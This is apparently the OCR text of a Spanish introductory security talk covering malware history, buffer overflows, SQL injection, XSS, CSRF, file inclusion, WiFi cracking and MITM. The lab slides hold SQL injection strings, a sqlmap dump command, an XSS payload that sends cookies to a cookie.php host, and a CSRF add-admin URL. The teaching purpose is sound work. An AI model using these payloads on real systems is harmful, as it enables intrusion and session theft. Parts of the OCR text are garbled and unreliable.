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Acerca de la charla

GUL.

Compartir conocimientos.

Si. ¢ Pero hasta qué profundidad?
Objetivo de abarcar a todo el publico
posible.

Espero no dejar indiferente a nadie.
Haceros reflexionar.

Atentos durante mas de 1 hora.




Un titulo muy ambicioso

seguridad.
(Del lat. securitas, -atis).
1. f. Cualidad de seguro.
seguro, ra.
(Del lat. secdrus).
1. adj. Libre y exento de todo peligro, dano o riesgo.

2. Cierto, indubitable y en cierta manera infalible.
3. Firme, constante y que no esta en peligro de faltar o caerse.
4, No sospechoso.

5. m. Seguridad, certeza, confianza.



Un titulo muy ambicioso

“El unico sistema verdaderamente seguro es aquel
gue se encuentra apagado, encerrado en una caja
fuerte de titanio, enterrado en un bloque de
hormigon, rodeado de gas nervioso y vigilado por
guardias armados y muy bien pagados. Incluso
entonces, yo no apostaria mi vida por ello”

- Gene Spafford



Todo tiene una historia detras

La era del virus.
Los 85 a los 90 (si que molaban).
Ganas de joder al usuario.
Borrado y corrupcion de datos.
Motivacion: vandalismo.
Primeros antivirus.




Un poquito de historia

& trabajo en curso y cierre la sesion. Se perdera
cualquier cambio que ho haya sido guardado.
El apagado ha sido iniciado por NT
AUTHORITYASYSTEM

La era del gusano
2000 - 2005 Jemoorstete o000

Capacidad para propagarse [t o,
pOI' |a red Sasser
Mucho mas sofisticados.

Caso de estudio: Sasser explotando BOF



. Qué es eso de Buffer Overflow?

Ou 00000000 0x00000000
When something is pushed onto the stack,
tack the stack pointer decrements.
== stac Stack size : fixed allocation
ESP Stack upperimit >
(TOp Of Stack) - ctrrmul] writoc heap Heap grows down
2trepy() writes (to higher address)
AAAA this way 0x00400000
Program image
AAAA PE header
.text (code)
AAAA\O .rdata (imports)
.data (data)
.rsrc (resources)
EBP Memory space, can be
o allocated as heap, or stack for
(Ffame pOInter) > other threads in the process etc
Saved EBP oLt
DLUs have a header, .text, .data,
DLL .rsrc and .reloc segment
0x7FFDF000
Sa ved E l P \ PEB (data block of main thread) \
0x7FFE0000
\ Shared user page \
0x7FFE1000 \
No access \
ptrto argv([1] OX7FFFFFFF \
Ourp - 1101000110117
OxFFFFFFFF




Exploits

Capaces de aprovechar una vulnerabilidad de
Buffer Overflow para tomar el control del
sistema o ejecutar acciones a las que no
estaba permitido.

http://www.exploit-db.com/
http://1337day.com/



http://www.exploit-db.com/
http://www.exploit-db.com/
http://1337day.com/
http://1337day.com/

. Navegador web es vulnerable?

¢, 0 los plugins?

& oo IV
Adobe




PODEMOS EJECUTAR CODIGO
LOCAL CON PRIVILEGIOS DE OTRO
PROCESO

.Y PODEMOS EJECUTAR CODIGO
REMOTO? SI



Entonces ...

Los puertos que estan escuchando pueden
tener vulnerabilidades.

Y con privilegios!

Podemos escanear
servicios con NMAP.




yago@ubuntu-smb: ~

yago@ubuntu-smb:~$ nmap www.gul.es R

Starting Nmap 5.21 ( http://nmap.org ) at 2014-03-18 20:58 CET
Nmap scan report for www.gul.es (163.117.156.72)
Host is up (0.030s latency).

Not shown: 847
STATE
open
open
open

7777 /tcp open

closed ports, 149 filtered ports
SERVICE

ssh

http

https

unknown

Nmap done: 1 IP address (1 host up) scanned in 2.69 seconds
yago@ubuntu-smb:~$ |}




1.Escaneo 2.Ejecutar exploit (de otro)

S -0 99.2.2.2

JIStarting nmap U, 2.SMBETA2S
Hinsufficient res

ponses for TCP sequencing (3), 0S detection
Jlaccurate

Interesting ports on 19.2.2.2:
(The 1539 ports s

scanned but not shown below are in state: cl
Port State Service
22/tcp open ssh

Mo exact 0S5 matches for host

Wnap run completed -~ 1 1P ad

aress (1 host up) scanneds
§ sshouke 10.2.2.2 rootpw-"Z10M0101*
Connecting to 19.2,.2.2:55h

vs o SUCCPSSFUL,
atlrn?ltnq to exploit $SHv1 CRCI2 «os SUCCESSFU),
Reseting root password to “Z10M0 101,

Systen open: Access Level (9 it CONTROL
¥ SSh 10.2.2.2 <1 root
rootine.2.2.2's password: b




. Como usuario qué puedo hacer?

Actualiza el software que tengas instalado

.Y sitengo 98.845.654 programas instalados?
Pues en Debian:

sudo apt-get update

sudo apt—-get upgrade
Punto para GNU/Linux



cVirus en GNU/Linux?

Si, existen pero muy pocos.

Vulnerabilidades se parchean
rapidamente.

El codigo es abierto, cualquiera puede taparlo.

Arquitectura UNIX.

Punto para GNU/Linux




Seguimos con nuestra historia

- Pero yo quiero aprender
a juankear yal

- Tranquilo pequeno
saltamontes.




Seguimos con nuestra historia
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Seguimos con nuestra historia

La era de la web
OMG Todos estamos conectados.
Navegamos por internet a diario.

PC pero tambien Smartphone, tablets, etc.
Uso de tarjetas de credito

PROFIT! para los “hackers” @




Entra en juego el factor economico.

Esto ya se nos va de las manos.
Virus toman complejidad muy elevada.
Troyanos (RAT) muy completos.
Metodos de distribucion:
Infectando webs.
Mensajes.
Otros.




Terminologia

Binder: Programa para unir otros programas.
binder(virus.exe + crack.exe) = medicina.exe

Crypter: Programa que encapsula a un virus
para que su codigo sea indetectable a los AV.

crypter(medicina.exe) = medicina_noav.exe




IHHEHEHEHEE;

terming flag

mpLker courb

Listening on

AndroRat Binder- [ www,deceptiveengineering.info | =— M

Build

i

noip.test

FORT

=113

APKTITLE

Framewark

Hidden

[09:00:50 PM] I: Checking whethar
resources has changed..,

[09:00:50 PM] I: Building resources...
[D=:10:56 PM] I: Building apk file..
fDE‘: 10:57 PM] Job Completad!

GO

Infa

BUILD: Assign your IP + Port to be used by the
androrat client. Assign a title for vour app to be
displayed when installed on the device, type it as
words anly, no file extensions, (Example: Framewark
Test, MOT Framework Test.apk) Check 'Hidden' Bax
to hide app from app drawer, orunchecked to allow
icon to zhow in app drawer, *Requires Reboot®




Infectando a las victimas

e Divulgacion en webs de descargas muy
visitadas.

@birteiﬁay
e Hackeando webs vulnerables, ; CoOmo?

Principalmente mediante gracias a
SQLInjection y XSS




SQLInjection

Atencion a los desarrolladores web en la sala.




Inyeccion de SQL

SELECT * FROM users WHERE name = ‘$var’
SELECT * FROM users WHERE name = ‘Juan’

SELECT * FROM users WHERE name =" OR 1=1 --
La base de datos procesa nuestra variable
Procesa una sentencia SQL!

mysql_query("SELECT * FROM users WHERE name =
$ GET['name’l");



Inyeccion de SQL

Desconfiar siempre de las variables que nos
llegan de fuera, hasta de las Cookies.

mysqgl _real escape string

Prepared Statements!



SQLi en DVWA

' union select @@version, NULL #
"and 1=1 union select first_ name,password from dvwa.users #

sqgimap -u "http://localhost/dvwal/vulnerabilities/sqli/?id=1&Submit=Submit" --
cookie="security=medium ; PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXX" --dbs

-D dvwa --tables
-D dvwa -T users --dump




Obtenemos la DB

Login del administrador. Quizas podamos
escribir en ficheros y en hasta en otras webs
del servidor. Escalada de privilegios.

Party! Inyectamos un codigo malicioso en el
HTML que luego el usuario lo ejecutara.

Mediante BoF conseguimos instalar un virus.



XSS Cross site scripting

Inyeccion de codigo script como Java Script

Nos permite ejecutar codigo malicioso

El .js puede estar alojado en otro servidor
Podemos robar las cookies => sesion

Parece que el riesgo es bajo?: Ubuntu Forums
[Alguna asociacion de la UC3M por aqui? ejemejm]
Sanitizar la entrada y la salida siempre




El atacante envia un enlace a la victima

XSS Reflejado
de una web vulnerable a XSS.

La victima visita el enlace.
yourserver.com
Su explorador es vulnerable y se instala
malware.

GET: yourserver.com/hello_jsp?

name=<script>//evil-JS-here</script=
/'
/
’ /

’
/
¢

/

/

{
{ <p>Hello,
<script=//evil-JS-here</script></p>

)

)
|
|
|

<
link: yourserver.com/hello_jsp?
name=<script=//evil-JS-here</script>




Cross-Site Request Forgery (CSRG)

Al igual que XSS reflejado, hacemos que la
victima visite nuestro enlace al que hemos
agregado parametros.

www.web.com/index.php?edit_user?
=232&add_admin=true

No siempre es tan obvio.
Solucion: generar tokens aleatorios [explicar]



http://www.web.com/index.php?edit_user?=232&add_admin=true
http://www.web.com/index.php?edit_user?=232&add_admin=true
http://www.web.com/index.php?edit_user?=232&add_admin=true

Remote/Local file inclusion

Anadir codigo al que se esta ejecutando.

http://web.com/index.php?lang=../admin.php

Solucion: lo que nos llegue, verificarlo.
si espero lang.*.php por ejemplo


http://web.com/index.php?lang=../admin.php
http://web.com/index.php?lang=../admin.php

XSS en DVWA

<SCRIPT>alert("XSS")</SCRIPT>

<script>new Image().src="http:
//localhost/cookie.php?"+document.cookie;
</script>



Conclusion

Podemos visitar webs que creemos seguras.
Pero pueden haber sido infectadas.

Navegar sin un explorador actualizado y sin
antivirus es un grave riesgo.

GNU/Linux :D



Nuestros ISP regalan routers WiFi!

WEP: Esta roto, en cuanto se captura un |V se
puede descifrar en minutos.

WPA [/ WPA2: Seguro.

Pero contemos la historia de las claves por
defecto.



Rompiendo WPA /| WPA2

Por diccionario, dada una lista de posibles
contrasenas, si no, tardariamos anos.

Usando herramientas OpenSource.

Necesitamos el HandShake, que un nodo se
conecte.

Forzamos su reconexion.



WPA diccionarios por defecto

2 Router Keygen ; (2 WLAN_»gmed - B (R JAZZTEL_omee < B =

Su pported Click on one of the keys to copy it. Click on one of the keys to copy it.
Then the Wifi Settings will open where you can test it. Then the Wifi Settings will open where you can test it.

JAZZTEL_?)’ 878612a8e9a08 P 7b533786af32 i usattEy
APptr
00391059001 258R-$9®
WLAN_Anls

AAD bc887227084 20898

WLAN_sfsis
P 456593a4eeccalinntiife

WLAN_afDe 6713656671616/ 7008ge
ant®

4 4434
WLAN_ aesll d85465cd44a410mede

fedc13f747b39Ae®P

dAd_L7_n__NnNnrfr_1n_Ain

Test key(s) Test key(s)



https://code.google.com/p/android-thomson-key-solver/
https://code.google.com/p/android-thomson-key-solver/

WPS: Wifi Protected Setup

USB, NFC, PBC vy PIN.
00000000 -> 0000000 -> 0000 000
Si tardase 1 segundo:

1157 dias -> 115 dias -> 2,7 horas

Pero algunos Pines por defecto se pueden
calcular, ataque al WiFi en segundos



WPS con WifiSlax: GOYScript o Reaver

=)

Carpeta
personal

Papelera

Tod. aplicaciones

ppppp

=EED

http://youtu.be/OMhIIQ3ID0Q



http://youtu.be/0MhllQ3ID0Q
http://youtu.be/0MhllQ3ID0Q

¢ Mi vecino h4x0r me roba el WiFi?

¢ Que podemos hacer? El cazador cazado.
Ataques MITM: Man in the middle.

Server
Man-in-the-middle
connec tion



ARPSpoofing

arpspoof

etthercap

HTTPS sslstrip

wireshark




DoS y DDoS

CLOUDFLARE.




DDoS Amplificado

&

Attacker

Attacker controlled
Botnet

Small spcofed
DNS Request

Amplified DNS Response
from Open Resolver

Victims
Ecommerce
Server
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